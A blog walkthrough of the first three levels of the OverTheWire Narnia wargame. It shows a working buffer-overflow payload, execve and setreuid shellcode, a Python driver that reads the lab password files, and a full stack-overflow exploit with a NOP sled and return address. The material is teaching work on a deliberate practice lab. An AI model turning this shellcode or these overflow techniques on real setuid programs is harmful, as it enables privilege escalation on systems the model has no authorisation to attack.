Post

Exploring Narnia CTF N0, N1 & N2 - OverTheWire

Exploring Narnia CTF N0, N1 & N2 - OverTheWire

Narnia

Narnia is a CTF hosted on overthewire.org. It’s a beginner-level CTF that can warm you up for learning reverse engineering. This CTF focuses on 32-bit ELF binaries and hosts a total of 9 challenges. In this blog, I’ll be sharing my experience while solving narnia0, narnia1, and narnia2, and I will continue to post more in the future.

This blog focuses on the methodology of approaching a CTF challenge and the brainstorming process involved in reaching a solution. These posts might also help you get started and get your hands dirty with reverse engineering.

Narnia 0

To log in to narnia0, you can connect to the SSH service hosted on port 2226 at narnia.labs.overthewire.org. Use the following command: ssh -p 2226 narnia0@narnia.labs.overthewire.org The password is narnia0. To log in to any level X, simply change the username from narnia0 to narniaX.

Passwords for all the levels are stored in the /etc/narnia_pass/ directory, but they are only readable by the respective subsequent user.
For example, the narnia0 user cannot read the password for narnia1.

ls -lrthetc/narnia_pass/

Our goal in this level is to read the password for the narnia1 level, which is stored in the /etc/narnia_pass/narnia1 file.
To access the challenges of the narnia CTF, go to the /narnia directory.

ls -lnarnia

In this level, we are logged in as narnia0, and our challenge binary is located at /narnia/narnia0. In this CTF, for every level, you also have access to its source code. We will first try to solve the challenge using just the binary, and if we need more hints, we’ll take a look at the narniax.c source file.

All of these binaries are Setuid binaries, which, if exploited properly, will allow you to read the password file for the next level.

Using file command you can check type of file.

file narnia0

Lets try executing ./narnia0

./narnia0

The highlighted section of the above image shows that this binary is asking for user input from stdin and storing it in buf.
In the image, you can see that ./narnia0 is trying to take some input from stdin and then comparing the value of variable val to 0xdeadbeef.
User input is stored in the buf variable.
Interesting.
If we can control or change the value of val to 0xdeadbeef, I guess we can proceed to the next execution steps or maybe even get access to the password file.

Generally, my approach is to try overflowing the input buffer whenever a binary is reading or storing a buffer from user input.
Let’s try giving a large input.

narnia0 buffer overflow

And it worked; we were able to overwrite the value of val the variable to 0x42424242, byte x42 is nothing but a characterB in ASCII (refer this table). Now our goal should be to find exactly how many number of bytes or characters of B we need to give to start overwriting variable val memory. For now we can try the hit-and-trial method; keep increasing B character 1 by 1 till you are overwriting val.

Buffer overflow narnia0

The variable buf is 20 bytes long, and if we give 24 bytes input, the last 4 bytes are overflowed and written to variable val memory. If you found the size of this buffer manually by increasing 1 byte every time, best of luck. :( There are multiple ways of finding the buffer size. I can think of 2 as of now: open this program in gdb or any disassembler to view assembly code and figure out the size of buf by reading assembly code, or use python or any other scripting language to generate inputs for you. I did use Python.

python for generating buffer

Cmd : python3 -c "import sys; sys.stdout.buffer.write(b'B'*24)" | ./narn ia0

By changing the value from 24 to 100 or 1000, you can generate long strings of length n bytes. And then we can use the | (pipe) operator to pass stdout of the first command to stdin of the second command. In this case, the first command is python and the second command./narnia0.

Before using any other function like print() in Python or any other scripting language to generate input strings, do check the hexdump of your generated stdout using xxd or your fav tool, just to be sure that generated string is the same as what we are expecting.

Unicode strings example

In the image above, the first command generates the byte 0x90 using sys.stdout.buffer.write, which produces the output as expected. However, in the second example, the byte 0x90 is treated as a Unicode character, and 0xc2 is prepended to every byte. It’s important to check the generated strings / payloads using any hexdump tool before using them in a binary.

Okay, okay, back to solving narnia0.
Now we can control the value of val, and we know that ./narnia0 expects the value of val to be 0xdeadbeef. Let’s try changing the last 4 bytes of our input to \xde\xad\xbe\xef.

narnia0 try1

As shown in the image above, in the first command, we verified that our generated payload is correct. The last 4 bytes of our input are 0xdeadbeef. But when we pass the same input to ./narnia0, the variable val is written as 0xefbeadde, which is 0xdeadbeef in reverse. But whyyyyyyyyyyy?

This happens because this Linux server, like most servers around the world, reads data in little-endian format. You can read more about endianness here. In short, we have to pass our payload in reverse order so that the machine can read it correctly.

narnia0 try2

The variable val is now written with the correct bytes. Ideally, we should have received the password or a privileged shell after this.

This binary should have spawned a privileged shell. In this case, yes, it spawns a shell for us, but its stdin gets closed immediately somehow (not sure how). Read this to understand why.

Now, there are two ways you can solve this problem:

  1. The first one is easy: Save your payload to a file and use cat to pipe it to the binary.

    python3 -c "import sys; sys.stdout.buffer.write(b'B'*20+b'\xef\xbe\xad\xde')" > /tmp/narnia0_payload

    cat /tmp/narnia0_payload - | /narnia/narnia0

    The extra - in the cat command above keeps the stdin open.

  2. The second way is to create a Python (or any other) script that executes the /narnia/narnia0 process and passes the payload to its stdin. I created a Python script. It may not be perfect, but it served the purpose.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import sys
import subprocess
from time import sleep
from threading import Thread

px_path = '/narnia/narnia0'
px = subprocess.Popen(px_path.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE , bufsize=0)
#sleep(0.5)
print(px_path,"started with PID : ",px.pid)

def read_stdout():
        sleep(1)
        global px
        it=0
        while True:

                op = px.stdout.readline()
                if op == "" and px.poll() is not None:
                        break
                if op:
                        print('pxout '+str(it)+':',op)
                it=it+1
                if it>10:
                        break

th = Thread(target=read_stdout,args=())
th.start()

inp_list = [b'B'*20+b'\xef\xbe\xad\xde'+b'\n' , b'cat /etc/narnia_pass/narnia*'+b'\n']
inp_it=0
for inp in inp_list:
        sleep(0.5)
        print('pxin  '+str(inp_it)+':',inp)
        px.stdin.write(inp)
        px.stdin.flush()
        inp_it=inp_it+1

th.join()
px.stdin.close()
px.wait()

#final read
stdout_final = px.stdout.read()
print('pxout:',stdout_final)

In the above code, the list inp_list stores two inputs: the first is the payload, and the second is the command to read the password for narnia1.

Great, we solved our very first RE challenge, narnia0.


Narnia 1

Using the password we obtained in narnia0, we can now log in as the user narnia1 and access the challenge at /narnia/narnia1.

narnia1 try0

On executing this binary we get this message, looks like it is looking for environment variable EGG and trying to execute it.

narnia1 try1

I created an environment variable EGG with the value ABCD. (Refer above image)

Okay, the string "ABCD" or any other simple command doesn’t work here — interesting.
We can verify this using the ltrace command.
So, ltrace and strace are very useful commands that we’ll be using. ltrace shows all the library functions a program uses during execution, while strace shows all the system calls made by the program during execution.

narnia1 try2

We can clearly see that the getenv() library call is used to retrieve the contents of the EGG variable, and then program executes it.

Let’s dig deeper and read the assembly code to understand what’s going on underneath.
I’ll be using gdb, but you can use any tool like Ghidra, radare2, etc.

narnia1 try3

Lets disassemble the main function.

narnia1 try4

In the assembly code above:

Section 1 checks whether the environment variable EGG is set or not.
Section 2 runs if EGG is set — it retrieves the value of EGG using getenv(), and then executes the content of EGG using call eax, where eax holds the value of the EGG variable.

If this GDB and assembly stuff is going a little over your head, pause here — take some time to read up and learn about assembly and GDB. It will be a great help on your reverse engineering journey. Later on, we’ll get into advanced disassemblers and debuggers, but for now we will be using gdb.

From the disassembly above, it’s clear that the program is executing the contents of EGG.
That means we need to write our first shellcode and pass it to EGG, which will then be executed by the program /narnia/narnia1.

So, what is shellcode?
It’s a piece of assembly code that, when executed, spawns a shell (usually /bin/sh), although it can also be used to execute other commands.

The simplest shellcode to spawn a shell looks like this (though there might be even more simple versions available.

xor    eax,eax		
push   eax
push   0x68732f2f	; //sh 
push   0x6e69622f	; /bin
mov    ebx,esp
push   eax
push   ebx
mov    ecx,esp
xor    edx,edx
mov    al,0xb		; syscall 11 = execve
int    0x80

The above shellcode executes a syscall with the arguments execve("/bin//sh", ["/bin//sh"], NULL).
The second last line executes syscall 0xb (which is 11 in decimal), and on an i386 system, this corresponds to execveSysCall Reference.

This assembly code can be translated into bytes using the Defuse.ca tool.

narnia1 try5

1
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

Lets save this shellcode in environment variable EGG using command, export EGG=$(printf "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80") and then run the binary.

narnia1 try6

Congratulations!! We executed our first shellcode and got a shell — but wait, why is the id command returning narnia1? We were expecting a privileged shell, right?

Even though /narnia/narnia1 is a setuid binary, we need to explicitly call the function setreuid(geteuid(), geteuid()) before executing execve() in order to get a privileged shell.

Referring to this syscall table, the syscall number for geteuid() is 0x31 and for setreuid() it’s 0x46.

Since we already know how our execve("/bin//sh", ["/bin//sh"], NULL) shellcode is formed, we can simply prepend the setreuid() shellcode to it — or just search online for a ready-made setreuid shellcode.

The following shellcode worked in this case:

export EGG=$(printf "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80")

narnia1 try7

That’s it — we got a privileged shell with narnia2 user access!

You can also try creating your own shellcode — it’s a really fun and insightful exercise. I created a shellcode that directly executes /bin/cat /etc/narnia/narnia2 after calling setreuid().
While this shellcode isn’t efficient in terms of byte length, but it presents a great learning opportunity. ``

0:  31 c0                   xor    eax,eax		; Set eax to 0
2:  b0 31                   mov    al,0x31 		; Syscall number for geteuid()
4:  cd 80                   int    0x80			; Software interrupt to invoke syscall
6:  89 c3                   mov    ebx,eax 		; Move return val of geteuid to ebx
8:  89 c1                   mov    ecx,eax 		; Move return val of geteuid to ecx
a:  31 c0                   xor    eax,eax		; Set eax to 0
c:  b0 46                   mov    al,0x46 		; Syscall number for setreuid()
e:  cd 80                   int    0x80			; Software interrupt to invoke syscall
10: 31 c0                   xor    eax,eax 		; Set eax to 0
12: 99                      cdq					; Set edx to 0; when eax is 0
13: 50                      push   eax			; Preparing string "/bin/cat\0"
14: 68 2f 63 61 74          push   0x7461632f
19: 68 2f 62 69 6e          push   0x6e69622f
1e: 89 e3                   mov    ebx,esp 		; Preparing array of char pointers
20: 50                      push   eax 			
21: 68 6e 69 61 32          push   0x3261696e 	; Preparing string "/etc/narnia_pass/narnia2"
26: 68 2f 6e 61 72          push   0x72616e2f
2b: 68 70 61 73 73          push   0x73736170
30: 68 6e 69 61 5f          push   0x5f61696e
35: 68 2f 6e 61 72          push   0x72616e2f
3a: 68 2f 65 74 63          push   0x6374652f
3f: 89 e1                   mov    ecx,esp 		
41: 50                      push   eax 			; Setting up arguments for execve()
42: 51                      push   ecx 			; ecx is array of char*
43: 53                      push   ebx 			; ebx is path to binary 
44: 89 e1                   mov    ecx,esp 		
46: b0 0b                   mov    al,0xb 		; Syscall number for execve()
48: cd 80                   int    0x80 		; Software interrupt to invoke syscall

Try invoking this shellcode, export EGG=$(printf "\x31\xC0\xB0\x31\xCD\x80\x89\xC3\x89\xC1\x31\xC0\xB0\x46\xCD\x80\x31\xC0\x99\x50\x68\x2F\x63\x61\x74\x68\x2F\x62\x69\x6E\x89\xE3\x50\x68\x6E\x69\x61\x32\x68\x2F\x6E\x61\x72\x68\x70\x61\x73\x73\x68\x6E\x69\x61\x5F\x68\x2F\x6E\x61\x72\x68\x2F\x65\x74\x63\x89\xE1\x50\x51\x53\x89\xE1\xB0\x0B\xCD\x80")


Narnia 2

Log in as the narnia2 user using the password obtained in the previous narnia1 level.
Now, let’s try executing /narnia/narnia2.

narnia2 try0

/narnia/narnia2 expects a command-line argument and prints it back on the screen. Let’s verify this using strace and gdb.

narnia2 strace

narnia2 gdb

The above disassembly image shows 3 highlighted sections:

  • The first section is the code that checks if any command-line argument is passed or not.
  • The second section copies the command-line argument to a buffer of size 0x80 bytes.
  • The third section prints the copied buffer to stdout.

There is a buffer of 0x80 bytes that is written using the strcpy function. User provided command-line argument is copied into this buffer. Since this buffer is user-controlled, this could potentially lead to a buffer overflow vulnerability. Let’s try passing a large string (more than 0x80 bytes) as the command-line argument.

narnia2 try1

First, we will verify our generated input using xxd, and then pass it as a command-line argument. As expected, the program crashes, and we get a Segmentation fault.

If we run the binary again with the same payload using strace, we can see why we’re getting the segfault.

Cmd : strace ./narnia2 $(python3 -c "import sys;sys.stdout.buffer.write(b'B'*0x90)")

narnia2 try4

We have overwritten the return address by overflowing the buffer. That’s why the program is trying to execute the content at address 0x42424242. Obviously, there are no assembly instructions at that location, which leads to the segfault.

This can be verified using gdb. Simply start a gdb session and step through the program, executing one instruction at a time, to understand the flow of execution.

Below is the screenshot of gdb session landing into EIP = 0x42424242

narnia2 try4

In the above image, highlighted section 1 shows that we have run the program using the same argument as before, i.e., a string of 0x90 bytes. Highlighted section 2 shows that the EIP is pointing to 0x42424242 because we have overwritten the stack.

Great, we are able to crash this program. Now, let’s try to take control over this crash. We will try to control the EIP pointer by overwriting a custom value to the stack. If we can control the value of EIP, we can point the program to execute any part or function of this program.

We will try to fuzz the binary with different lengths to find the exact number of bytes needed to overwrite the return address. With the knowledge that the buffer is 0x80 bytes, we will try values greater than 0x80.

narnia2 try6

In the above image, the first run with 0x80 + 4 bytes is not successful.
The second attempt with 0x84 + 4 bytes looks perfect — EIP is now 0x41414141.
Let’s try subtracting and adding a few bytes to be sure.
The third attempt, decreasing by 1 byte, results in a bad EIP value.
The fourth attempt, increasing by 2 bytes, also results in a bad EIP value.

Hence, 0x84 + 4 bytes are perfect to overwrite the return address — those 4 bytes can be of our choice.

Since we can control the value of EIP, we can point it anywhere in code memory, and this binary will execute the assembly instructions present at that memory location.
We have two tasks to do: create and store our shellcode in memory, and set the return address to our stored shellcode.

In this scenario, the best place to store our shellcode is the input buffer itself. Since it has 0x80 bytes of buffer, it can easily store the shellcode.
Next, we need to find the address of the buffer, and then we can use this address to overwrite the stack.

  1. Let’s create the shellcode. I will be using /bin/cat in combination with the setreuid() function, like we did in the last level. This time, instead of reading /etc/narnia_pass/narnia2, we will read /etc/narnia_pass/narnia3. \x31\xC0\xB0\x31\xCD\x80\x89\xC3\x89\xC1\x31\xC0\xB0\x46\xCD\x80\x31\xC0\x99\x50\x68\x2F\x63\x61\x74\x68\x2F\x62\x69\x6E\x89\xE3\x50\x68\x6E\x69\x61\x33\x68\x2F\x6E\x61\x72\x68\x70\x61\x73\x73\x68\x6E\x69\x61\x5F\x68\x2F\x6E\x61\x72\x68\x2F\x65\x74\x63\x89\xE1\x50\x51\x53\x89\xE1\xB0\x0B\xCD\x80

  2. Let’s find the address of the buffer. We will be using GDB to find the address of the buffer.

narnia2 try7

The above image contains the disassembly of the main function from the /narnia/narnia2 binary.
The highlighted section shows the strcpy function, which copies the command line argument to the buffer.
If we set a breakpoint at address 0x080491b9 and check the stack memory, we can find the address of the buffer.

narnia2 try8

In the above image, after hitting the breakpoint, we can view the address of the buffer.

Now, let’s create our final shellcode.
As we know, we need to fill 0x84 + 4 bytes, where 0x84 bytes will be our shellcode and the remaining 4 bytes will be the address of the buffer.
The shellcode we created above is only 74 bytes, and the remaining 58 bytes can be filled with the 0x90 instruction. 0x90 is the NOP instruction, which does nothing and is harmless to use.

This will be our final command.

/narnia/narnia2 $(python3 -c "import sys; sys.stdout.buffer.write(b'\x90'*58+b'\x31\xC0\xB0\x31\xCD\x80\x89\xC3\x89\xC1\x31\xC0\xB0\x46\xCD\x80\x31\xC0\x99\x50\x68\x2F\x63\x61\x74\x68\x2F\x62\x69\x6E\x89\xE3\x50\x68\x6E\x69\x61\x33\x68\x2F\x6E\x61\x72\x68\x70\x61\x73\x73\x68\x6E\x69\x61\x5F\x68\x2F\x6E\x61\x72\x68\x2F\x65\x74\x63\x89\xE1\x50\x51\x53\x89\xE1\xB0\x0B\xCD\x80'+b'\xcc\xd5\xff\xff')")

Do remember that running a binary in gdb and running it without gdb will result in slight differences in memory layout. This means the address we found for our buffer using gdb won’t be exactly the same, but may vary slightly.
So, there are fewer chances that our generated payload will work the first time. I tried running the above payload multiple times, adjusting the return address by a few bytes, and it finally worked.

narnia2 try9

As you can see in the above image, I tried subtracting a few bytes, and it finally worked at address 0xffffd59c. You should try increasing and decreasing a few bytes from the address we found in gdb. This is a hit-and-trial method, or, much better, try creating a Python script that generates memory addresses in your defined range — a nice exercise to try.
BTW, I did create a Python script! :)

This post is licensed under CC BY 4.0 by the author.